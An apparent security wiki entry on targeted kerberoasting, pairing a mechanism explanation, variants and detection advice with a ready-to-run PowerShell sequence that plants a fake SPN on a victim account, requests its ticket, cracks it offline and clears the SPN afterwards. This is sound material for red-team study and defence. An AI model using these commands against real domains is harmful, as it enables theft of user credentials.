Targeted Kerberoasting

Standard kerberoasting is opportunistic: request TGS tickets for every account that already has an SPN and hope one has a weak password. Targeted kerberoasting (named by harmj0y) flips it: if you have GenericWrite / GenericAll over a user object — a common, low-noise ACL edge — you can grant the victim an SPN yourself, roast them on demand, then clean up. Any user with a crackable password becomes a credential, whether or not they ever ran a service.

• MITRE: T1558.003 — Kerberoasting, delivered via T1098 — Account Manipulation
• BloodHound models this as the WriteSPN edge.

Why it works

Two facts combine:

1. Writing servicePrincipalName on a user only requires GenericWrite (or the validated-write “Validated write to service principal name”) over that object.
2. The KDC issues a service ticket for any SPN to any authenticated requester — there is no authorization check at TGS-REQ time. The ticket is encrypted with the NT hash of whichever account the SPN resolves to.

So: set a nonsense SPN on the victim, request a ticket for it (from any domain context — your own low-privilege account is fine), receive RC4-encrypted password-derived ciphertext, crack offline, and (optionally) remove the SPN to hide the modification.

Execution

# 1. Find users you have GenericWrite/GenericAll over (PowerView ACL scan)
Invoke-ACLScanner -ResolveGUIDs |
    ?{$_.IdentityReferenceName -match "$YOUR_GROUP" -and
      $_.ObjectType -eq "User" -and
      $_.ActiveDirectoryRights -match "GenericWrite|GenericAll"}
 
# 2. Stamp an arbitrary SPN on the victim (format: service/host)
Set-DomainObject -Identity $TARGET_USER `
    -Set @{serviceprincipalname="nonexistent/$TARGET_HOST"}
 
# 3. Request the TGS — .NET built-in, no tools on disk
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken `
    -ArgumentList "nonexistent/$TARGET_HOST"
 
# 4. Export from the ticket cache (Mimikatz / Rubeus dump) and crack:
#    hashcat -m 13100 (RC4 etype 23)
 
# 5. Cleanup
Set-DomainObject -Identity $TARGET_USER -Clear serviceprincipalname

Rubeus kerberoast /user:$TARGET_USER shortens step 3–4 when a binary on disk is acceptable. The SPN value itself is irrelevant — it never needs to resolve to a real service; it only needs to be registered to the victim so the KDC encrypts the ticket with the victim’s key.

Variants

• Targeted AS-REP roasting — with write access to userAccountControl, flip DONT_REQUIRE_PREAUTH (bit 4194304) instead, roast the AS-REP anonymously, flip it back (see as-rep-roasting).
• SPN-jacking — a subtler WriteSPN abuse where the attacker hijacks an existing SPN assignment rather than adding a fake one, potentially redirecting legitimate service tickets (Semperis research).

Detection & defense

• Event 4738 / 5136 (directory object change) on servicePrincipalName for user accounts that aren’t supposed to run services — the single highest-fidelity signal. Honey users with tempting GenericWrite paths make this near-zero-noise.
• BloodHound: audit and prune GenericWrite/GenericAll edges into user objects, especially from broad groups (Helpdesk, “RDPUsers”-style operational groups).
• Strong passwords on all users bound the damage — targeted kerberoasting still ends in offline cracking; an uncrackable password makes the ticket worthless.

Related: kerberoasting, as-rep-roasting, kerberos, rubeus, kerberos-delegation-abuse.

Sources

• 2017 — Targeted Kerberoasting — harmj0y
• WriteSPN Edge — BloodHound Docs
• 2022 — SPN-jacking: An Edge Case in WriteSPN Abuse — Semperis
• MITRE ATT&CK T1558.003 — Kerberoasting
• Account Manipulation — MITRE ATT&CK T1098